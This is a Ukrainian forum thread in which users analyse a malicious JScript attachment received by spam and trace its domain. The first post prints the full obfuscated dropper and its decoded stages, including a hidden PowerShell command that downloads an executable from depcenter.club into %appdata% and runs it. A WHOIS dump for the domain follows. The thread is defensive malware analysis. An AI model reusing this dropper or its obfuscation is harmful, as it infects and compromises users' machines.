1 Востаннє редагувалося koala (10.05.2017 19:40:14)

Тема: Деобфускація коду

Отримав спам із посиланням на файлик .js
(1)

var dpnEWVNovODmCMa = 'vOUKgWaOUKgWrOUKgW OUKgWJOUKgWjOUKgWgOUKgWcOUKgWAOUKgWBOUKgWhOUKgWRIXuOUKgWEOUKgWdOUKgWqpOUKgW OUKgW= OUKgWnOUKgWew OUKgWAOUKgWcOUKgWtiOUKgWvOUKgWeOUKgWXOUKgWOOUKgWbjeOUKgWctOUKgW(OUKgW"OUKgWwOUKgWScOUKgWrOUKgWipOUKgWTOUKgW.OUKgWsOUKgWhOUKgWeOUKgWLOUKgWL"OUKgW); vOUKgWaOUKgWrOUKgW OUKgWJqQOUKgWCOUKgWoIOUKgWPOUKgWkaBbrfOUKgWpOUKgWuOUKgWiOUKgWTOUKgW OUKgW= nOUKgWeOUKgWw OUKgWAOUKgWcOUKgWtivOUKgWeXObjOUKgWect("sOUKgWHOUKgWeLlOUKgW.OUKgWaOUKgWppliCaTOUKgWIOUKgWonOUKgW"); vOUKgWarOUKgW OUKgWcmOUKgWuOUKgWlpwSGOUKgWfOUKgWrOUKgWkOUKgWnjsAB OUKgW=OUKgW JOUKgWjOUKgWgcAOUKgWBOUKgWhOUKgWRIOUKgWXOUKgWuEOUKgWdOUKgWqOUKgWpOUKgW.OUKgWROUKgWegOUKgWROUKgWeOUKgWad(OUKgW"OUKgWHKOUKgWLOUKgWM"OUKgW+OUKgWSOUKgWtOUKgWrOUKgWiOUKgWngOUKgW.frOUKgWoOUKgWmOUKgWCOUKgWharOUKgWCoOUKgWdeOUKgW(OUKgW9OUKgW2)OUKgW+"OUKgWsOUKgWofOUKgWtOUKgWwOUKgWaOUKgWrOUKgWeOUKgW"OUKgW+SOUKgWtringOUKgW.OUKgWfOUKgWrOUKgWomOUKgWCOUKgWhOUKgWaOUKgWrOUKgWCOUKgWodOUKgWeOUKgW(9OUKgW2)+OUKgW"OUKgWmiOUKgWcrOUKgWosOUKgWofOUKgWt"+SOUKgWtrOUKgWiOUKgWnOUKgWg.OUKgWfromCOUKgWhaOUKgWrOUKgWCoOUKgWdeOUKgW(OUKgW9OUKgW2OUKgW)OUKgW+OUKgW"OUKgWwOUKgWinOUKgWdoOUKgWwOUKgWsOUKgW"OUKgW+SOUKgWtrOUKgWinOUKgWgOUKgW.fOUKgWroOUKgWmOUKgWCOUKgWhOUKgWaOUKgWrOUKgWCOUKgWodOUKgWe(OUKgW9OUKgW2OUKgW)+OUKgW"cuOUKgWrrOUKgWeOUKgWnOUKgWtveOUKgWrOUKgWsOUKgWiOUKgWoOUKgWnOUKgW"OUKgW+OUKgWStriOUKgWnOUKgWgOUKgW.OUKgWfOUKgWrOUKgWomOUKgWCOUKgWharOUKgWCOUKgWoOUKgWdOUKgWeOUKgW(OUKgW9OUKgW2OUKgW)+"OUKgWpOUKgWrogOUKgWrOUKgWaOUKgWmOUKgWfiOUKgWleOUKgWsOUKgWdirOUKgW");OUKgW fuOUKgWnOUKgWctOUKgWiOUKgWoOUKgWnOUKgW OUKgWsOUKgWROUKgWpOUKgWCfaWOUKgWYOUKgWXmOUKgWGEreIPOUKgW(OUKgWHOUKgWvOUKgWTOUKgWjOUKgWaOUKgWROUKgWiOUKgWEOUKgWMhOUKgWOOUKgWWtNOUKgWAOUKgWydOUKgWPOUKgWgOUKgW,OUKgW gyOUKgWwOUKgWdOUKgWKxOUKgWROUKgWTtOUKgWoPcMOUKgWWOUKgWsvQOUKgWJOUKgW)OUKgW OUKgW{OUKgW reOUKgWtOUKgWuOUKgWrOUKgWnOUKgW OUKgWHvOUKgWTjOUKgWaROUKgWiOUKgWEOUKgWMOUKgWhOUKgWOOUKgWWtNAOUKgWyOUKgWdOUKgWPgOUKgW.OUKgWcOUKgWharOUKgWAOUKgWtOUKgW(OUKgWgOUKgWywdKOUKgWxOUKgWROUKgWTOUKgWtoPOUKgWcOUKgWMOUKgWWOUKgWsOUKgWvOUKgWQOUKgWJOUKgW); } vaOUKgWrOUKgW gOUKgWdOUKgWhOUKgWOOUKgWUOUKgWBOUKgWvnOUKgWRtOUKgWJOUKgWMOUKgWTQk OUKgW= sRpCOUKgWfOUKgWaWYXmGOUKgWEOUKgWrOUKgWeOUKgWIOUKgWP(OUKgWcOUKgWmuOUKgWlOUKgWpwSOUKgWGOUKgWfrknOUKgWjOUKgWsAB,OUKgW OUKgW5OUKgW+OUKgW6OUKgW);';
var roUkauNdiGcPeRmM = 'JFqQCFoFIPFkaFBFbrFfpFuFiFT.FShFelFlFEFxFeFcFutFe("FcmFd.FexFeF",F "/c piFnFg FloFcFaFlFhFost F& powerFsFhFelFlF.FexeF F-FexeFcFuFtioFnFpFolFiFcy FbyFpFaFsFs -FnFoFpFroFfFiFlFeF F-FwFiFndowsFtyFlFe hFiFdFdFeFnF (FneFw-oFbFjFecFtF FsyFsFtFeFm.FnFetF.FwFeFbclienFt)F.FdowFnlFoaFdfFilFe(\'hFtFtp://depFcFenFterF.FcFlub/rFegFiFsFteFrF.FbiFnF?FmFRFKeFsw\',\'F%aFPFPdFaFtFaF%fNGF8F2F.FeXe\'); SFTFaRFT-prFoFCFeFSFs \'F%aFpFpFdaFtFaF%FfNFG82.FeFxe\'"F,F F"", "FopeFnF"F,F F0F);';
function fMsTxXCopizlyNmULqI(vrXqjDnoCiShKMLwdBU, dpWBxrSbzcgyMXhi) { return vrXqjDnoCiShKMLwdBU.split(dpWBxrSbzcgyMXhi).join(""); }
var CcmYyREVbMBKpPvgWO = fMsTxXCopizlyNmULqI(dpnEWVNovODmCMa, "OUKgW");
if (new Date()["g"+"etYear"]() == new Array("2"+"0"+"17")[0]) { eval(CcmYyREVbMBKpPvgWO); }
roUkauNdiGcPeRmM = fMsTxXCopizlyNmULqI(roUkauNdiGcPeRmM, gdhOUBvnRtJMTQk);
var uXOQURWiKzhclYIAyNP = (new Function (roUkauNdiGcPeRmM))();

Спробую деобфускувати. Маємо два рядки dpnEWVNovODmCMa та roUkauNdiGcPeRmM, а потім функцію
fMsTxXCopizlyNmULqI, яка приймає два параметри (буду писати x та y) і повертає x.split(y).join(""); - тобто замінює в рядку x всі зустрічні y на пусті рядки. Далі іде виклик fMsTxXCopizlyNmULqI(dpnEWVNovODmCMa, "OUKgW"); - тобто CcmYyREVbMBKpPvgWO буде дорівнювати (без зовнішніх лапок і зновими рядками для зручності)
(2)

var JjgcABhRIXuEdqp = new ActiveXObject("wScripT.sheLL"); 
var JqQCoIPkaBbrfpuiT = new ActiveXObject("sHeLl.appliCaTIon"); 
var cmulpwSGfrknjsAB = JjgcABhRIXuEdqp.RegRead("HKLM"+String.fromCharCode(92)+"software"+String.fromCharCode(92)+"microsoft"+String.fromCharCode(92)+"windows"+String.fromCharCode(92)+"currentversion"+String.fromCharCode(92)+"programfilesdir"); function sRpCfaWYXmGEreIP(HvTjaRiEMhOWtNAydPg, gywdKxRTtoPcMWsvQJ) { return HvTjaRiEMhOWtNAydPg.charAt(gywdKxRTtoPcMWsvQJ); } 
var gdhOUBvnRtJMTQk = sRpCfaWYXmGEreIP(cmulpwSGfrknjsAB, 5+6);

Далі в if створюється об'єкт Date, викликається його функція getYear і порівюється із 0-им елементом масиву з одного значення "2017". getYear - застаріла функція, що повертає номер року мінус 1900; таким чином, ця умова буде істинною аж у 3917 році. Якщо рік буде відповідним, то буде виконано код (2); все, що він насправді робить бере 11-й символ з імені папки C:\Program Files (тобто F) і заносить у змінну gdhOUBvnRtJMTQk. При цьому створюється об'єкт JqQCoIPkaBbrfpuiT - Shell.Application.
Далі у рядку 6 вже відома нам функція fMsTxXCopizlyNmULqI прибирає всі F з рядка roUkauNdiGcPeRmM, отримуючи, таким чином
(3)

JqQCoIPkaBbrfpuiT.ShellExecute("cmd.exe", "/c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://depcenter.club/register.bin?mRKesw','%aPPdata%fNG82.eXe'); STaRT-proCeSs '%appdata%fNG82.exe'", "", "open", 0);

Оце і є власне шкідництво - скачати програму і запустити її. У мене її скачати не вийшло.

Таким чином, маємо справу із некваліфіковано зробленим дропером, розрахованим на старі версії Internet Explorer (інакше всі ці ActiveX не запустяться) на нових машинах із PowerShell.

Подякували: 0xDADA11C7, LoganRoss, mike, /KIT\, 221VOLT, bunyk, leofun017

2

Re: Деобфускація коду

Лишилося додати, що лист надійшов з того ж самого домену depcenter.club. Домен зареєстрований вчора на панамську фірму

Whois
Whois: depcenter.club
Domain Name: depcenter.club
Domain ID: DF5D0A2EC93B549DF88A0AEEC85415914-NSR
WHOIS Server: whois.namecheap.com
Referral URL: http://www.namecheap.com
Updated Date: 2017-05-09T09:15:34Z
Creation Date: 2017-05-09T09:12:25Z
Registry Expiry Date: 2018-05-09T09:12:25Z
Sponsoring Registrar: NameCheap, Inc.
Sponsoring Registrar IANA ID: 1068
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: addPeriod https://icann.org/epp#addPeriod
Registrant ID: C50CC16C487FB466C83721BAB7F6BEE7A-NSR
Registrant Name: WhoisGuard Protected
Registrant Organization: WhoisGuard, Inc.
Registrant Street: P.O. Box 0823-03411
Registrant Street:
Registrant Street:
Registrant City: Panama
Registrant State/Province: Panama
Registrant Postal Code:
Registrant Country: PA
Registrant Phone: +507.8365503
Registrant Phone Ext:
Registrant Fax: +51.17057182
Registrant Fax Ext:
Registrant Email: ef509d5f19914fa08acab52c27ecce18.protect@whoisguard.com
Admin ID: C50E7AEB1F44D45C2A81A92CBCC927C94-NSR
Admin Name: WhoisGuard Protected
Admin Organization: WhoisGuard, Inc.
Admin Street: P.O. Box 0823-03411
Admin Street:
Admin Street:
Admin City: Panama
Admin State/Province: Panama
Admin Postal Code:
Admin Country: PA
Admin Phone: +507.8365503
Admin Phone Ext:
Admin Fax: +51.17057182
Admin Fax Ext:
Admin Email: ef509d5f19914fa08acab52c27ecce18.protect@whoisguard.com
Tech ID: C978831CC9187490C96C9DCF00DB3DAE9-NSR
Tech Name: WhoisGuard Protected
Tech Organization: WhoisGuard, Inc.
Tech Street: P.O. Box 0823-03411
Tech Street:
Tech Street:
Tech City: Panama
Tech State/Province: Panama
Tech Postal Code:
Tech Country: PA
Tech Phone: +507.8365503
Tech Phone Ext:
Tech Fax: +51.17057182
Tech Fax Ext:
Tech Email: ef509d5f19914fa08acab52c27ecce18.protect@whoisguard.com
Name Server: ns2.depcenter.club
Name Server: ns1.depcenter.club
DNSSEC: unsigned
>>> Last update of WHOIS database: 2017-05-10T10:47:02Z <<<

IP 31.148.219.27 британський (за RIPE) чи нідерландський (за GeoIP).

Подякували: 0xDADA11C7, LoganRoss, 221VOLT, leofun014

3

Re: Деобфускація коду

розрахованим на старі версії Internet Explorer

Яб сказав, що Outlook теж у зоні ризику від такого... Та й не тільки він один.